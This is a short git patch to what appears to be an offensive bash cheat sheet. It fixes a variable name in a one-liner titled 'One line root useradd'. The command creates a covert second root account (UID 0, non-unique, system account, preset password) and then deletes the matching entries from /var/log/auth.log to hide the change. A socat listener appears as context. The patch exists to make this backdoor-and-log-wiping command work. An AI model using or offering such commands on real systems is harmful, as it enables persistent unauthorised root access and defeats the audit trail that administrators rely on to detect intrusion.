From 030e20386469a1b2f87383554a066d2adb268c4e Mon Sep 17 00:00:00 2001 From: oXis Date: Fri, 20 Jun 2014 13:57:26 +0100 Subject: [PATCH] fix passwd error --- scripting/bash.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripting/bash.md b/scripting/bash.md index 48fe853..7cdc556 100644 --- a/scripting/bash.md +++ b/scripting/bash.md @@ -130,7 +130,7 @@ socat readline TCP-LISTEN:1234 **One line root useradd** It creates a new root user. You have to change some parameters. ```bash -USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log +USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log ``` Credits